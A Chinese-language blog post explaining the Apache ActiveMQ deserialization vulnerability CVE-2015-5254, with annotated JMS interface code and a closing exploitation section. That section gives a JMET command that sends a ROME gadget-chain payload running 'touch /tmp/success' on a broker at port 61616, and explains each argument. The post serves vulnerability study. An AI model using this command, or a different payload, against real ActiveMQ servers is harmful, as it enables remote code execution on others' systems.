CVE-2015-5254:Apache ActiveMQ JMS ObjectMessage反序列化漏洞

由 晨星运营组 发布

CVE-2015-5254:Apache ActiveMQ JMS ObjectMessage反序列化漏洞

漏洞基本信息

Apache ActiveMQ 5.x版本(在5.13.0之前)在处理JMS ObjectMessage时,没有对反序列化对象进行足够的输入验证和类限制。

攻击者可以通过OpenWire传输协议(默认端口61616)发送一个序列化负载,当管理员反序列化该负载时,会执行负载中嵌入的任意代码。

具体而言,JMS ObjectMessage依赖Java的本机序列化机制(通过Serializable接口和ObjectInputStream.readObject()方法)。如果未对输入进行验证,反序列化过程可能会调用classpath中的现有可序列化类(称为"gadget"),从而实现文件写入、动态方法调用或命令执行

下载源码

https://activemq.apache.org/components/classic/download/

JMS核心内容

JMS(Java Message Service)是Java平台的消息服务规范,由Sun(后来Oracle)定义,用于实现不同系统或组件间的异步通信与解耦。

模式:
点对点(Point-to-Point,Queue):消息发送到队列,一个消息只能被一个消费者消费
发布/订阅(Publish/Subscribe,Topic):消息发送到主题,多个订阅者都能收到

消息类型:
TextMessage(文本)
BytesMessage(字节流)
ObjectMessage(序列化对象)
MapMessage(键值对)
StreamMessage(数据流)

简单理解:JMS就是Java世界里的"消息中间件标准API",提供统一接口,底层可以由ActiveMQ、HornetQ、RabbitMQ JMS 适配器等实现

查看源码:


ObjectMessage属于javax.jms包下,用到了java.io.Serializable

package javax.jms;

// 任何能被放入 ObjectMessage 的对象必须实现 Serializable,这样对象可以在网络中传输或持久化
import java.io.Serializable;

// ObjectMessage 是 JMS 中的一种消息类型
// 它继承了 Message 接口,说明它本身也是一种消息,只是消息体部分存放的是Serializable对象
public interface ObjectMessage extends Message {
    // 用于设置消息体中的对象,参数必须是 `Serializable`,否则无法传输
    // 如果 JMS Provider 在设置时出现问题,会抛出 `JMSException`
    void setObject(Serializable var1) throws JMSException;

    // 用于获取消息体中的对象
    Serializable getObject() throws JMSException;
}

JMS关键接口说明

注意这里有一个消息生产者:MessageProducer

package javax.jms;

public interface MessageProducer {
    /**
    * 设置是否禁用消息ID
    * @param z true 表示发送的消息不生成消息ID,false
    */
    void setDisableMessageID(boolean z) throws JMSException;

    /**
    * 获取是否禁用消息ID
    * @returntrue 表示消息ID被禁用,false 表示消息ID未禁用
    */
    boolean getDisableMessageID() throws JMSException;

     /**
    * 设置是否禁用消息时间戳
    * @param z true 表示发送的消息不带时间戳,false 表示带时间戳
    */
    void setDisableMessageTimestamp(boolean z) throws JMSException;

    /**
    * 获取是否禁用消息时间戳
    * @returntrue 表示时间戳被禁用,false 表示时间戳未禁用
    */
    boolean getDisableMessageTimestamp() throws JMSException;

    /**
    * 设置消息的传送模式    
    * @param i 传送模式,可以是 DeliveryMode.PERSISTENT 或
    DeliveryMode.NON_PERSISTENT
    */
    void setDeliveryMode(int i) throws JMSException;

    /**
    * 获取当前消息的传送模式
    * @return 当前的传送模式
    */
    int getDeliveryMode() throws JMSException;

    /**
    * 设置消息的优先级
    * @param i 优先级值,范围 0~9,数字越大优先级越高
    */
    void setPriority(int i) throws JMSException;

    /**
    * 获取消息的优先级
    * @return 当前优先级值
    */
    int getPriority() throws JMSException;

    /**
    * 设置消息的有效时间(TTL, Time To Live)
    * @param j 消息存活时间(毫秒),0 表示永不过期
    */
    void setTimeToLive(long j) throws JMSException;

    /**
    * 获取消息的有效时间(TTL)
    * @return 消息存活时间(毫秒)
    */
    long getTimeToLive() throws JMSException;

    /**
    * 获取消息发送的目标目的地(Destination)
    * @return 消息目的地
    */
    Destination getDestination() throws JMSException;

    /**
    * 关闭消息生产者,释放资源
    */
    void close() throws JMSException;

    /**
    * 发送消息到默认目的地
    * @param message 要发送的消息对象
    */
    void send(Message message) throws JMSException;

    /**
    * 发送消息到默认目的地,同时指定传送模式、优先级和有效时间
    * @param message 要发送的消息对象
    * @param i 传送模式
    * @param i2 优先级
    * @param j 消息有效时间
    */
    void send(Message message, int i, int i2, long j) throws JMSException;

    /**
    * 发送消息到指定目的地
    * @param destination 目标目的地
    * @param message 要发送的消息对象
    */
    void send(Destination destination, Message message) throws JMSException;

    /**
    * 发送消息到指定目的地,同时指定传送模式、优先级和有效时间
    * @param destination 目标目的地
    * @param message 要发送的消息对象
    * @param i 传送模式
    * @param i2 优先级
    * @param j 消息有效时间
    */
    void send(Destination destination, Message message, int i, int i2, long j)
throws JMSException;
}

当然还有消息的消费者

package javax.jms;

public interface MessageConsumer {
    /**
    * 获取消息选择器(Message Selector)
    * 消息选择器用于基于消息属性对消息进行过滤
    * @return 当前的消息选择器表达式,如果没有则返回 null
    */
    String getMessageSelector() throws JMSException;

    /**
    * 获取当前设置的消息监听器
    * 消息监听器用于异步接收消息
    * @return 当前的 MessageListener 对象,如果没有则返回 null
    */
    MessageListener getMessageListener() throws JMSException;

    /**
    * 设置消息监听器,用于异步接收消息
    * 当消息到达时,JMS 提供者会调用 listener 的 onMessage 方法处理消息
    * @param messageListener 要设置的消息监听器对象
    */
    void setMessageListener(MessageListener messageListener) throws JMSException;

    /**
    * 同步接收消息,方法会阻塞直到有消息可接收
    * @return 接收到的消息对象,如果消费者关闭或发生异常可能返回 null
    */
    Message receive() throws JMSException;

    /**
    * @return 接收到的消息对象,如果超时返回 null
    */
    Message receive(long j) throws JMSException;

    /**
    * 非阻塞方式接收消息
    * 如果当前没有消息可接收,则立即返回 null
    * @return 接收到的消息对象,如果没有消息返回 null
    */
    Message receiveNoWait() throws JMSException;

    /**
    * 关闭消息消费者,释放资源
    * 一旦关闭,消费者将无法再接收消息
    */
    void close() throws JMSException;
}

JMS消息收发流程代码示例

核心代码如下:

protected Message doExecuteRequest(Session session, Queue queue, Message requestMessage) throws JMSException {
        TemporaryQueue responseQueue = null;
        MessageProducer producer = null;
        MessageConsumer consumer = null;

        Message var9;
        try {
            if (jms11Available) {

                responseQueue = session.createTemporaryQueue();
                producer = session.createProducer(queue);
                consumer = session.createConsumer(responseQueue);
                requestMessage.setJMSReplyTo(responseQueue);
                ((MessageProducer)producer).send(requestMessage);
            } else {
                QueueSession queueSession = (QueueSession)session;
                responseQueue = queueSession.createTemporaryQueue();
                QueueSender sender = queueSession.createSender(queue);
                producer = sender;
                consumer = queueSession.createReceiver(responseQueue);
                requestMessage.setJMSReplyTo(responseQueue);
                sender.send(requestMessage);
            }

            long timeout = this.getReceiveTimeout();
            var9 = timeout > 0L ? ((MessageConsumer)consumer).receive(timeout) :
            ((MessageConsumer)consumer).receive();
        } finally {
            JmsUtils.closeMessageConsumer((MessageConsumer)consumer);
            JmsUtils.closeMessageProducer((MessageProducer)producer);
            if (responseQueue != null) {
                responseQueue.delete();
            }

        }
        return var9;
    }

发送请求消息部分代码

try {
    if (jms11Available) {
        // JMS 1.1+ 路径
        responseQueue = session.createTemporaryQueue();
        producer = session.createProducer(queue); // 创建生产者
        consumer = session.createConsumer(responseQueue);
        requestMessage.setJMSReplyTo(responseQueue); // 设置回复地址
        ((MessageProducer)producer).send(requestMessage); // 发送消息
    } else {
        // JMS 1.0.2b 路径
        QueueSession queueSession = (QueueSession)session;
        responseQueue = queueSession.createTemporaryQueue();
        QueueSender sender = queueSession.createSender(queue); // 创建发送者
        producer = sender; // 赋值给通用变量
        consumer = queueSession.createReceiver(responseQueue);
        requestMessage.setJMSReplyTo(responseQueue); // 设置回复地址
        sender.send(requestMessage); // 发送消息
    }

((MessageProducer)producer).send(requestMessage);

作用:这是最终执行消息发送操作的方法调用。它将消息正式放入 JMS 系统中。

执行过程:

1.客户端库(如 ActiveMQ-client)将requestMessage对象(包括其头属性JMSReplyTo和消息体)序列化为一种可以通过网络传输的格式(如OpenWire协议格式)。

2.通过已建立的TCP连接(隐藏在session和connection背后)将序列化后的数据包发送给ActiveMQ代理(Broker)。

3.ActiveMQ代理接收数据包,将其解析后,存储到指定的目标queue中。

完成后:此时,消息已经成功发送并存在于服务器的队列里,等待任何消费者来取走它。
producer:攻击者利用同样的机制(创建一个生产者并调用send())来向队列投递恶意的请求消息

responseQueue+consumer:这是客户端受害的关键环节。如果攻击者能够将恶意消息直接发送到这个临时

队列,正在receive()的consumer就会接收到它,并在解析消息时触发反序列化漏洞

消费者解析的部分被隐藏在了 ActiveMQ 客户端库的底层实现里,具体来说,是在consumer.receive()方法的内部

获取超时时间

long timeout = this.getReceiveTimeout();

情况一:设置了超时时间(timeout > 0)

((MessageConsumer)consumer).receive(timeout)

行为:这是一个阻塞调用。调用此方法的线程会挂起,直到发生以下三种情况之一:
成功收到消息:一条消息到达了临时响应队列responseQueue。该方法会立即返回这条消息 (Message对象),代码继续执行

超时:在指定的timeout毫秒数内,没有收到任何消息。该方法会返回null,然后代码继续执行

连接中断:底层的JMS连接被关闭或发生错误。该方法会抛出JMSException

情况二:未设置超时时间或超时时间为0(timeout <= 0)

((MessageConsumer)consumer).receive()

行为:这也是一个阻塞调用,但它是无限期等待。调用此方法的线程会一直挂起,直到:
成功收到消息:收到消息并返回

连接中断:连接失败,抛出JMSException它不会因为超时而返回null

在finally块中,代码确保了消费者、生产者和临时队列都会被正确关闭和删除,以避免资源泄漏

finally {
    // 使用 JmsUtils 工具类的 closeMessageConsumer() 方法
    // 将 consumer 对象强制转换为 MessageConsumer 类型
    // 确保消费者资源被正确关闭,避免资源泄漏
    JmsUtils.closeMessageConsumer((MessageConsumer)consumer);
    JmsUtils.closeMessageProducer((MessageProducer)producer);
    if (responseQueue != null) {
        // 如果不为 null,则调用 delete() 方法删除队列
        responseQueue.delete();
    }
}

漏洞原理与源码深度解析

利用工具与命令

下载利用工具

https://github.com/matthiaskaiser/jmet
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -YpROME your-ip 61616
参数说明

java -jar jmet-0.1.0-all.jar: 用Java运行JAR包jmet-0.1.0-all.jar,这是JMET的执行文件,-jar表示直接运行JAR包

-Q event: 指定目标队列(Queue)名称,这里event是ActiveMQ中存在的队列名,JMET会把payload注入到这个队列

-I ActiveMQ: 指定目标类型为ActiveMQ,JMET 支持多种消息队列,-I 告诉工具你要攻击哪种

-s: 开启发送模式(Send mode),表示JMET会向目标队列发送payload,而不是监听或测试

-Y "touch /tmp/success": 指定payload 命令,就是你希望执行的命令,这里是 Linux 命令:在目标系统/tmp 下创建一个文件success,JMET 会将这个命令通过反序列化漏洞发送到 ActiveMQ 执行

-Yp ROME: 指定payload 类型(Payload gadget chain),这里用的是ROME,ActiveMQ 有多种可利用 gadget chain(CommonsCollections、ROME、BeanShell 等),选择不同payload chain 会影响反序列化利用方式

your-ip 61616: 目标主机 IP 和端口。your-ip → ActiveMQ服务的地址(必须是完整IP,如192.168.194.128)。61616 → ActiveMQ默认TCP端口

-END-


0条评论

发表评论